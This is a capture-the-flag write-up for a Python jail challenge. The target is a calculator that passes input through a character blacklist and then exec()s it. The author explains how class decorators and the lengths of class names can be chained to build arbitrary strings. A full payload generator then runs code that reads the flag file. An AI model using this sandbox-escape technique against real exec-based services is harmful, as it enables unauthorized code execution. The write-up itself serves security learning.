We're given 2 files:```python#!/usr/bin/env python3"""Wrapper that filters all input to the calculator program to make sure it follows the blacklist.It is not necessary to fully understand this code. Just know it doesn't allow any of the characters in the following string:"()[]{}_.#\"\'\\ABCDEFGHIJKLMNOPQRSTUVWXYZ"Check ti1337.py to see what the program actually does with valid input."""
import subprocess, fcntl, os, sys, selectorsos.chdir("app")p = subprocess.Popen(["python3", "ti1337.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)# set files descriptors to nonblocking and create selectorsfcntl.fcntl(p.stdout, fcntl.F_SETFL, fcntl.fcntl(p.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)fcntl.fcntl(sys.stdin, fcntl.F_SETFL, fcntl.fcntl(sys.stdin, fcntl.F_GETFL) | os.O_NONBLOCK)selector = selectors.DefaultSelector()selector.register(sys.stdin, selectors.EVENT_READ, 'stdin')selector.register(p.stdout, selectors.EVENT_READ, 'stdout')blacklist = "()[]{}_.#\"\'\\ABCDEFGHIJKLMNOPQRSTUVWXYZ"# until the program has finishedwhile p.poll() == None:	events = selector.select()	for key, mask in events:		if key.data == 'stdin':			# write input			line = key.fileobj.readline()			for c in line:				if c in blacklist:					print("That doesn't seem like math!")					sys.exit()			p.stdin.write(bytes(line, encoding="utf-8"))			p.stdin.flush()		elif key.data == 'stdout':			# print output			output = key.fileobj.read()			sys.stdout.write(output.decode("utf-8"))			sys.stdout.flush()output, error = p.communicate()if error: sys.stdout.write(error.decode("utf-8"))sys.stdout.flush()``````python#!/usr/bin/env python3del __builtins__.__import____builtins__.print("Welcome to the TI-1337! You can use any math operation and variables with a-z.")_c = ""_l = __builtins__.input("> ")while _l != "":    # division -> floor division    _l = _l.replace("/", "//")    _c += _l+"\n"    _l = __builtins__.input("> ")_v = {}_v = __builtins__.set(__builtins__.dir())__builtins__.exec(_c)for _var in __builtins__.set(__builtins__.dir())-_v:    __builtins__.print(_var, "=", __builtins__.vars()[_var])```
The comment at the top explains the challenge. Basically, we can execute remotely arbitrary code (what we send is `exec`ed), as long as it doesn't contain any of `()[]{}_.#\"\'\\ABCDEFGHIJKLMNOPQRSTUVWXYZ`. Uppercase letters are not particularly problematic - there's no such place where lowercase can't be used. The real problem is that we can't call functions, access attributes and setup magic methods (forbidden underscores).
I looked through Python syntax from the documentation and discovered two key features that I could use for function execution. These are class definitions (although without proper function definitions (lambda are allowed though) and decorators). 
This is how decorators basically work - these code snippets are equivalent:```python@some_functionclass c:		pass``````pythonclass c:    passc = some_function(c)```
If we find functions that operate on single arguments, we could make a payload.
I decided not to dig far and settled on writting an encoder. This is encoder:```pythondef export(x):    return f"""@chr@len@strclass c{'1'*(x-0x14)}:pass"""def encode(s):    if any(ord(x) < 0x14 for x in s):        raise ValueError('cannot encode chars less than %d' % 0x14)    return ['c'+'1'*(ord(x) - 0x14) for x in s]```
This makes classes with long enough names, so that we can make a character with code (for instance) 40, we make an empty class, that has string representation 40 characters long, later apply `chr` on it. Final phase is to make a dummy class and apply a lambda function, that takes a single argument, but doesn't use it, it returns sum of class names, which is later feeded into `exec`. Full payload generating script:
```pythondef export(x):    return f"""@chr@len@strclass c{'1'*(x-0x14)}:pass"""def encode(s):    if any(ord(x) < 0x14 for x in s):        raise ValueError('cannot encode chars less than %d' % 0x14)    return ['c'+'1'*(ord(x) - 0x14) for x in s]
payload = 'print(open("flag.txt").read())'for i in map(ord, set(payload)):    print(export(i)) print('fff=lambda x:' + '+'.join(encode(payload)))print('@eval')print('@fff')print('class d:pass')print()print()print()```
